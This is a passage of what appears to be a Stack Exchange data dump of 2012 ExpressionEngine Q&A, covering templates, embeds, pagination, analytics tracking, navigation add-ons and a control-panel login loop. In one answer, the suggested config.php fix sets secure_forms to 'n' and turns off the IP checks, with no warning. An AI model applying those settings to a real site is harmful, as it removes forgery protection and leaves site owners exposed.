blog categories rather than sub-pages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If we aren't outputting the blog pages then  we check to see how many child pages there are to this page. If there are more than 0 then we call another embed which contains another structure entries tag pair, passing the parent page entry id to it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;    {exp:structure_entries depth=&quot;1&quot; parent=&quot;{embed:entry}&quot; status=&quot;open&quot;&#xA;        &amp;lt;li{if {current_page}=='1'} class=&quot;here&quot;{/if}&amp;gt;&amp;lt;a href=&quot;{page_uri}&quot;&amp;gt;{title}&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;    {/exp:structure_entries}&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This embed lists out 1 level of structure pages below the parent page as a straightforward list. We check if we are currently on the page concerned by looking at the current_page boolean again.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally we close out all the tags and we're done.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, this was done quite some time ago and I have a feeling that much of what I've done here is now part of the {exp:structure:nav} tag pair anyway so I would urge you take another look at that.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From memory that tag will do exactly what you are describing you want. But since you are asking this question I'm assuming it isn't. Could you tell us what it is producing and why it differs to what you need?&lt;/p&gt;&#xA;" OwnerUserId="159" LastEditorUserId="159" LastEditDate="2012-11-26T11:14:21.753" LastActivityDate="2012-11-26T11:14:21.753" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="362" PostTypeId="2" ParentId="342" CreationDate="2012-11-26T10:37:25.873" Score="2" Body="&lt;p&gt;In my projects over the past few years I've used conditionals more extensively to reduce the number of templates I was using in a project. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For speed of processing, I've done this with a combination of if-else statements and using the plugin &lt;a href=&quot;http://devot-ee.com/add-ons/switchee&quot; rel=&quot;nofollow&quot;&gt;Switchee&lt;/a&gt; to allow switch/case control structures. I also try to use Snippets, rather than Embeds, because Embeds involve more processing (though there are specific circumstances in which you're almost forced to use Embeds).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Based on the wording of your question, I'm not sure if reducing your templates down to a &lt;em&gt;single&lt;/em&gt; common template is what you're after. If you want to do this, in theory it's possible to chop the number down to just a single common template that's loaded up with conditionals. In practice I think it's better to reduce a project to a small, manageable number of templates that do distinct things, or display data distinct ways (e.g. at least one for a listing of a channel's entries, and one for an entry's details).&lt;/p&gt;&#xA;" OwnerUserId="330" LastActivityDate="2012-11-26T10:37:25.873" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="363" PostTypeId="2" ParentId="356" CreationDate="2012-11-26T13:33:59.083" Score="6" Body="&lt;p&gt;My take: if this is a bespoke add-on for private use, only use &lt;code&gt;exp_channel_entries&lt;/code&gt; and &lt;code&gt;exp_channel_data&lt;/code&gt; if the data you're storing can added/edited using the standard EE publish/edit screens and follows the conventions of those tables (matching &lt;code&gt;entry_id&lt;/code&gt; and &lt;code&gt;channel_id&lt;/code&gt;, etc). Otherwise you're setting up any future developer for a whole lot of confusion, and you may get unpredictable results from third party add-ons which interact with channel data.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's an add-on you intend to distribute, definitely use your own database tables, no question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally-speaking, the only data an add-on should be storing in default EE tables is its extension settings in the &lt;code&gt;settings&lt;/code&gt; column of its &lt;code&gt;exp_extensions&lt;/code&gt; row (if applicable).&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2012-11-26T19:20:45.623" LastActivityDate="2012-11-26T19:20:45.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="364" PostTypeId="2" ParentId="342" CreationDate="2012-11-26T13:38:09.183" Score="0" Body="&lt;p&gt;One of my favortite ways of building templates is to pass variables in the embeds&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// main template&#xA;&amp;lt;html&amp;gt;&#xA;    {embed=&quot;common/.head&quot; {exp:channel:entries  limit=&quot;1&quot;  rdf=&quot;off&quot;} page_title=&quot;{title}&quot;  meta-description=&quot;{summary}&quot; meta-keywords=&quot;{title}&quot;{/exp:channel:entries}}&#xA;    &amp;lt;body&amp;gt;&#xA;         {embed=&quot;common/.header&quot;}&#xA;&#xA;         // TODO: put some logic here to decide what to embed&#xA;&#xA;         {embed=&quot;common/.footer&quot;}&#xA;         {embed=&quot;common/.scripts&quot;}&#xA;    &amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="246" LastActivityDate="2012-11-26T13:38:09.183" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="365" PostTypeId="2" ParentId="342" CreationDate="2012-11-26T14:54:51.943" Score="3" Body="&lt;p&gt;As you can see there are TONS of different ways to build with ExpressionEngine. I typically setup {embed}s like others said. I shy away from using snippets but I have built sites with snippets for my doc_head, doc_end and the like. You're better off creating a template for each of your pages as it gives you a LOT more flexibility down the road if something changes or you want to do more with a particular page. True it's not a big deal to pull that page out of that particular template, but I try to build for flexibility. IF you build each project with that in mind you'll be in great shape.&lt;/p&gt;&#xA;" OwnerUserId="11" LastEditorUserId="28" LastEditDate="2012-12-16T06:13:22.997" LastActivityDate="2012-12-16T06:13:22.997" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="366" PostTypeId="1" AcceptedAnswerId="367" CreationDate="2012-11-26T15:22:51.733" Score="5" ViewCount="1350" Body="&lt;p&gt;I'm currently using the following code for pagination:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{pagination_links}&#xA;    {page}&#xA;        &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;    {/page}&#xA;{/pagination_links}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because of an addon I'm using, I need to modify the output of the {pagination_url} variable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;{pagination_url} outputs &lt;a href=&quot;http://sitename.com/blog/P20&quot;&gt;http://sitename.com/blog/P20&lt;/a&gt;, and I need to add a segment before blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I attempted to use the &lt;a href=&quot;http://devot-ee.com/add-ons/find-and-replace-plus&quot;&gt;Find and Replace Plus&lt;/a&gt; addon, but due to the parse order, I'm not able to use the {site_url} variable to find/replace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there an easier way to accomplish this?&lt;/p&gt;&#xA;" OwnerUserId="133" LastActivityDate="2012-11-27T18:51:33.717" Title="Is it possible to modify the output of pagination urls?" Tags="|ee2|channel|pagination|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="367" PostTypeId="2" ParentId="366" CreationDate="2012-11-26T15:28:21.603" Score="13" Body="&lt;p&gt;If you just need to modify the part of the URL before the pagination segment (and your use case is relatively simple) you can use the &lt;code&gt;paginate_base&lt;/code&gt; parameter on your entries loop (&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#paginate-base&quot;&gt;docs here&lt;/a&gt;):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries paginate_base=&quot;blog/foo&quot;&#xA;  {pagination_links}&#xA;    {page}&#xA;        &amp;lt;a href=&quot;{pagination_url}&quot;&amp;gt;{pagination_page_number}&amp;lt;/a&amp;gt;&#xA;    {/page}&#xA;  {/pagination_links}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now your output should look like this: &lt;code&gt;http://example.com/blog/foo/P20&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="104" LastEditorUserId="104" LastEditDate="2012-11-26T15:35:26.157" LastActivityDate="2012-11-26T15:35:26.157" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="368" PostTypeId="1" AcceptedAnswerId="380" CreationDate="2012-11-26T16:11:51.967" Score="12" ViewCount="1152" Body="&lt;p&gt;In google analytics, you can track site searches by setting the query parameter. &#xA;EE does not have search result URLs with a query parameter in them though i.e. search result URLs look like &lt;a href=&quot;http://mysite.com/search/270ab420bad324607c6286bf28767910/&quot;&gt;http://mysite.com/search/270ab420bad324607c6286bf28767910/&lt;/a&gt; instead of &lt;a href=&quot;http://mysite.com/search?q=keyword&quot;&gt;http://mysite.com/search?q=keyword&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So is there an easy way to track site searches using the native EE search module in google analytics - either natively (ideally) or using an add-on? I want to keep using the native EE search module if at all possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From searching I've seen various code snippets altering the _gaq.push(['_trackPageview' line in the analytics code, but I'm not sure exactly how to implement this and would rather not mess up the main site tracking, so I was hoping someone may have some working code for this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks for your time.&lt;/p&gt;&#xA;" OwnerUserId="191" LastEditorUserId="191" LastEditDate="2012-11-26T16:47:57.650" LastActivityDate="2012-11-29T00:36:52.627" Title="tracking site searches in google analytics" Tags="|search|analytics|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="369" PostTypeId="1" AcceptedAnswerId="378" CreationDate="2012-11-26T16:24:33.773" Score="4" ViewCount="2919" Body="&lt;p&gt;On events pages that meet the first conditional statement (first segment is 'events' and second segment is 'not empty') the image parses as expected. However, when the first segment is 'member-directory' and the second segment is NOT '', the last conditional (if:else) is parsed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've tried stripping out tags and replacing them with (A,B,C) and can confirm that it is parsing the (last) if:else when second conditional seemingly should be met. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;{if segment_1 == 'events' AND segment_2 != ''}&#xA;    {exp:ce_img:pair src=&quot;{event_masthead}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; fallback_src=&quot;{lv_fallback_banner}&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px;&quot;&#xA;    {/exp:ce_img:pair}  &#xA;{if:elseif segment_1 == 'member-directory' AND segment_2 != ''}&#xA;    {member_photo_gallery limit=&quot;1&quot;}&#xA;        {exp:ce_img:pair src=&quot;{url}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; crop=&quot;yes&quot; fallback_src=&quot;{lv_fallback_banner}&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px width: 1600px;&quot;&#xA;        {/exp:ce_img:pair}&#xA;    {/member_photo_gallery}&#xA;{if:else}&#xA;    {exp:ce_img:pair src=&quot;{masthead}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; fallback_src=&quot;{lv_fallback_banner}&quot; crop=&quot;yes&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px;&quot;&#xA;    {/exp:ce_img:pair}  &#xA;{/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is my fallback test that is showing that the second conditional is not being met.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;{if segment_1 == 'events' AND segment_2 != ''}&#xA;        A&#xA;{if:elseif segment_1 == 'member-directory' AND segment_2 != ''}&#xA;        B&#xA;{if:else}&#xA;        C&#xA;{/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works. I am wondering why Croxtons doesn't. I am using the latest version.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == 'member-directory' AND segment_2 != ''}&#xA;    {member_photo_gallery limit=&quot;1&quot;}&#xA;        {exp:ce_img:pair src=&quot;{url}&quot; height=&quot;270&quot; min_width=&quot;1600&quot; max_width=&quot;1600&quot; crop=&quot;yes&quot; fallback_src=&quot;{lv_fallback_banner}&quot; allow_scale_larger=&quot;yes&quot; filter=&quot;brightness,-80|grayscale|colorize,80,39,9,10&quot;}style=&quot;background:url('{made}') no-repeat 50% 0; height: 270px; width: 1600px;&quot;&#xA;        {/exp:ce_img:pair}&#xA;    {/member_photo_gallery}         &#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The snippet is used like so:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Masthead --}&#xA;{exp:stash:set name=&quot;masthead&quot; parse_tags=&quot;yes&quot;}&#xA;{snippet:masthead_background_image}&#xA;{/exp:stash:set}&#xA;{!-- /Masthead --}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4" LastEditorUserId="4" LastEditDate="2012-11-26T19:03:46.630" LastActivityDate="2012-11-26T19:11:52.837" Title="What is wrong with this IF/ELSE conditional?" Tags="|conditionals|ifelse|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="370" PostTypeId="1" AcceptedAnswerId="408" CreationDate="2012-11-26T16:25:32.213" Score="5" ViewCount="779" Body="&lt;p&gt;We're integrating exp-resso store with a new e-commerce site. Ideally, we want to be very clear about the shipping charges for an order on the cart page before we have a lot of information from the customer (where they live, for example). I understand that some of this is required to determine the rate. With other e-commerce packages we've worked with there is a Shipping Calculator feature which prompts the visitor for their city, state, and zip and then presents them with the shipping rates that apply to their order. Can we do this with exp-resso store?&lt;/p&gt;&#xA;" OwnerUserId="211" LastActivityDate="2012-11-26T22:20:00.493" Title="Exp-Resso Store Shipping Rates &amp; Calculator" Tags="|expresso-store|ecommerce|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="371" PostTypeId="2" ParentId="368" CreationDate="2012-11-26T16:34:41.027" Score="4" Body="&lt;p&gt;&lt;strong&gt;&quot;Super search&quot;&lt;/strong&gt; supports human-readable ( and therefor analytics-friendly ) queries:&#xA;&lt;a href=&quot;http://www.solspace.com/docs/addon/c/Super_Search&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/addon/c/Super_Search&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="174" LastActivityDate="2012-11-26T16:34:41.027" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="372" PostTypeId="2" ParentId="369" CreationDate="2012-11-26T17:21:50.047" Score="2" Body="&lt;p&gt;I've fired up your reduced test case in an otherwise empty site index template and it works fine for me:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ifelse parse=&quot;inward&quot;} &#xA;  {if segment_1 == 'events' AND segment_2 != ''}&#xA;        A&#xA;  {if:elseif segment_1 == 'member-directory' AND segment_2 != ''}&#xA;        B&#xA;  {if:else}&#xA;        C&#xA;  {/if}&#xA;{/exp:ifelse}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;ie I get the following results:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/ = C &lt;br/&gt;&#xA;/events = C &lt;br/&gt;&#xA;/events/foo = A &lt;br/&gt;&#xA;/member-directory = C &lt;br/&gt;&#xA;/member-directory/foo = B&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that as desired?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything else going on in the template that could be relevant?&lt;/p&gt;&#xA;" OwnerUserId="104" LastActivityDate="2012-11-26T17:21:50.047" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="373" PostTypeId="1" AcceptedAnswerId="374" CreationDate="2012-11-26T18:22:36.713" Score="1" ViewCount="455" Body="&lt;p&gt;EE site is using Structure and NavEE.&lt;br&gt;&#xA;Is there a way without having to do a ton of if segment_1==&quot;this&quot; conditionals for an active class to be set for parent level nav to be 'active' when selecting child level navs for the parents?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now I have working with the 'is_selected variable when page is parent level, but for child level, that active class is active.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Hope this makes sense.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Tad&lt;/p&gt;&#xA;" OwnerUserId="31" LastEditorUserId="77" LastEditDate="2012-11-27T20:19:41.637" LastActivityDate="2012-11-27T20:19:41.637" Title="NavEE active class" Tags="|navee|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="374" PostTypeId="2" ParentId="373" CreationDate="2012-11-26T18:25:50.273" Score="4" Body="&lt;p&gt;Check out the selected_class_on_parents parameter: &lt;a href=&quot;http://booyant.com/navee/getting-started#selected_class_on_parents&quot; rel=&quot;nofollow&quot;&gt;http://booyant.com/navee/getting-started#selected_class_on_parents&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That should add a class of selected on all parent items when you visit a child page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Michael&lt;/p&gt;&#xA;" OwnerUserId="271" LastActivityDate="2012-11-26T18:25:50.273" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="375" PostTypeId="5" CreationDate="2012-11-26T18:37:24.710" Score="0" Body="&lt;p&gt;NavEE is a third-party navigation module. It allows the user to create hierarchies of links which can then be output within ExpressionEngine's template tags to create dynamic navigations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Key features of NavEE include:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Dynamic Navigation&lt;/li&gt;&#xA;&lt;li&gt;Complete control of output HTML&lt;/li&gt;&#xA;&lt;li&gt;Member Specific navigation items&lt;/li&gt;&#xA;&lt;li&gt;Breadcrumbs&lt;/li&gt;&#xA;&lt;li&gt;Drag &amp;amp; Drop sorting from Control Panel&lt;/li&gt;&#xA;&lt;li&gt;Automatic detection of current page and application of selected class&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;NavEE was originally created by Booyant Inc, which is now a part of &lt;a href=&quot;http://fromtheoutfit.com&quot; rel=&quot;nofollow&quot;&gt;The Outfit&lt;/a&gt;. Currently, the documentation is still on the Booyant site and can be found at &lt;a href=&quot;http://booyant.com/navee&quot; rel=&quot;nofollow&quot;&gt;booyant.com/navee&lt;/a&gt;. The Outfit also offers an &lt;a href=&quot;https://getsatisfaction.com/booyant/products/booyant_navee&quot; rel=&quot;nofollow&quot;&gt;official support forum&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="271" LastEditorUserId="271" LastEditDate="2012-11-26T19:48:52.900" LastActivityDate="2012-11-26T19:48:52.900" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="376" PostTypeId="4" CreationDate="2012-11-26T18:37:24.710" Score="0" Body="NavEE is a third-party navigation module developed by The Outfit." OwnerUserId="271" LastEditorUserId="271" LastEditDate="2012-11-26T19:48:55.380" LastActivityDate="2012-11-26T19:48:55.380" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="377" PostTypeId="1" AcceptedAnswerId="381" CreationDate="2012-11-26T18:39:19.217" Score="15" ViewCount="2169" Body="&lt;p&gt;Having an issue logging back into the control panel after having been logged out. When attempting to login, I am returned to the login screen with no error messages or other notices. The only way I am able to log in is using an Incognito browser window.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE v2.5.2 with MSM installed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: I know this typically resolves itself after some time, but is there a known workaround so clients don't have to wait hours before being able to edit their content? Is this just an EE bug?&lt;/p&gt;&#xA;" OwnerUserId="335" LastEditorUserId="335" LastEditDate="2012-11-26T18:59:47.030" LastActivityDate="2014-05-27T17:07:10.820" Title="Can't login to CP after logging out" Tags="|multi-site-manager|control-panel|login|" AnswerCount="5" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="378" PostTypeId="2" ParentId="369" CreationDate="2012-11-26T19:11:52.837" Score="3" Body="&lt;p&gt;It seems that &quot;parse_tags=&quot;yes&quot; on the {exp:stash:set} was causing the issue. Seeing that I wanted the tags inside to be parsed, but when I removed it the conditional came back as expected and images parsed.&lt;/p&gt;&#xA;" OwnerUserId="4" LastActivityDate="2012-11-26T19:11:52.837" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="379" PostTypeId="2" ParentId="368" CreationDate="2012-11-26T19:11:55.233" Score="3" Body="&lt;p&gt;This is possible, but you need to modify the GA tracking code on EE's search results template.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a wiki article on how to do this, but with the launch of the new Ellis Lab site  you'll have have to take a look at Google's cached version.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://webcache.googleusercontent.com/search?q=cache%3ahm-mJsFarL8J%3aexpressionengine.com/wiki/Google_Analytics_Site_Search%20google%20analytics%20track%20ee%20search&amp;amp;cd=1&amp;amp;hl=en&amp;amp;ct=clnk&amp;amp;gl=us&amp;amp;client=safari&quot; rel=&quot;nofollow&quot;&gt;read the cached wiki article&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt; Here's a link to a &lt;a href=&quot;https://gist.github.com/4165858&quot; rel=&quot;nofollow&quot;&gt;Gist of the same article&lt;/a&gt; in case the wiki doesn't make it back online&lt;/p&gt;&#xA;" OwnerUserId="336" LastEditorUserId="104" LastEditDate="2012-11-29T00:36:52.627" LastActivityDate="2012-11-29T00:36:52.627" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="380" PostTypeId="2" ParentId="368" CreationDate="2012-11-26T19:19:58.963" Score="19" Body="&lt;p&gt;I have a &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/search/results.html#9402&quot;&gt;comment in the Search module docs&lt;/a&gt; on this. Inside your Analytics tracking code block, you can do something like this (change the segment conditionals to match your specific case)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var _gaq = _gaq || [];&#xA;_gaq.push(['_setAccount', 'UA-XXXXXX-X']);&#xA;_gaq.push(['_trackPageview']{if segment_1 == 'search' &amp;amp;&amp;amp; segment_2 == 'results'}, ['/search/results/?q={exp:search:keywords}']{/if}); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="55" LastActivityDate="2012-11-26T19:19:58.963" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="381" PostTypeId="2" ParentId="377" CreationDate="2012-11-26T19:24:24.607" Score="11" Body="&lt;p&gt;Clearing cookies should get around it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might want to look at your cookie settings in the CP and try switching cookies/session authentication.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was having the same problem with an MSM site. I changed my CP session type to &quot;Sessions and Cookies&quot; and all now seems well.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2012-11-26T19:24:24.607" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="382" PostTypeId="2" ParentId="342" CreationDate="2012-11-26T20:13:15.877" Score="1" Body="&lt;p&gt;Personally I would shy away from using embeds to store content that you'll need to access across multiple pages (unless you need to pass a variable). The problem with embeds is they are a single database call for each embed template you reference in the page. If you have five embeds, that's five round-trips to the database. Snippets and global variables are loaded with one call at the beginning of every request. If you don't need to pass variables, then you snippets/global variables are ideal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A solution I've started to use is utilizing &lt;a href=&quot;http://devot-ee.com/add-ons/snippet-sync&quot; rel=&quot;nofollow&quot;&gt;SnippetSync&lt;/a&gt; which allows me to save snippets and global variables as files. This allows for easy editing and version control without sacrificing performance. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your main template will look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Header Snippet - site_header.html :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;     &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;&#xA;&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot;&amp;gt;&#xA;&amp;lt;head&amp;gt;&#xA;&amp;lt;title&amp;gt;My Site&amp;lt;/title&amp;gt;&#xA;...&#xA;&amp;lt;/head&amp;gt;&#xA;&amp;lt;body&amp;gt;&#xA;&amp;lt;!-- end site_header --&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Footer Snippet - site_footer.html :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;!-- start site_footer --&amp;gt;&#xA;&amp;lt;/body&amp;gt;&#xA;&amp;lt;/html&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Main Template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{site_header}&#xA;&amp;lt;!--my content --&amp;gt;&#xA; ...&#xA;&amp;lt;!--/my content --&amp;gt;&#xA;{site_footer}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/templates/globals/snippets.html&quot; rel=&quot;nofollow&quot;&gt;EE's User Guide&lt;/a&gt; has a good run-down on Snippets and how they're different than Global Variables &amp;amp; Embeds.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2012-11-26T20:13:15.877" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="383" PostTypeId="2" ParentId="377" CreationDate="2012-11-26T20:58:07.427" Score="7" Body="&lt;p&gt;My first suggestion is to clear browser Cookies and Cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The second step is to add the following into your config.php file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['cookie_domain'] = &quot;&quot;;&#xA;$config['cookie_path'] = &quot;&quot;;&#xA;$config['cookie_prefix'] = &quot;&quot;;&#xA;$config['admin_session_type'] = &quot;s&quot;;&#xA;$config['user_session_type'] = &quot;c&quot;;&#xA;$config['require_ip_for_login'] = &quot;n&quot;;&#xA;$config['require_ip_for_posting'] = &quot;n&quot;; &#xA;$config['secure_forms'] = &quot;n&quot;;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2014-05-27T17:07:10.820" LastActivityDate="2014-05-27T17:07:10.820" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="384" PostTypeId="2" ParentId="342" CreationDate="2012-11-26T21:00:39.227" Score="0" Body="&lt;p&gt;Quite frankly all the native approaches feel completely bonkers when you compare them to the elegance of using Stash or any of its predecessors (LG Replace/NSM Transplant/String/MX Jumper).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use Stash.&lt;/p&gt;&#xA;" OwnerUserId="182" LastActivityDate="2012-11-26T21:00:39.227" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="385" PostTypeId="2" ParentId="370" CreationDate="2012-11-26T21:02:57.857" Score="8" Body="&lt;p&gt;This shouldn't be hard to set up on your end, I'm sure there isn't code offhand to send you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd set up the form prompting for city, state, and zip on my Cart page... then submit form using ajax to get the data into the session, then call a template which contains your shipping code using ajax into your page.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Use the {exp:store:checkout} on your cart page to collect your shipping city, state and zip data.&#xA;&lt;a href=&quot;https://exp-resso.com/docs/store/tags/checkout.html&quot;&gt;https://exp-resso.com/docs/store/tags/checkout.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Submit that form using ajax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the second template, use the same {exp:store:checkout} tag to display the available shipping methods:&#xA;&lt;a href=&quot;https://exp-resso.com/docs/store/tags/checkout.html#shipping-methods&quot;&gt;https://exp-resso.com/docs/store/tags/checkout.html#shipping-methods&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will return this template's data with ajax after the first form is submitted.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't want to use ajax, just return the form to the same page and show the shipping methods as needed.&lt;/p&gt;&#xA;" OwnerUserId="28" LastEditorUserId="28" LastEditDate="2012-11-26T22:17:26.440" LastActivityDate="2012-11-26T22:17:26.440" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
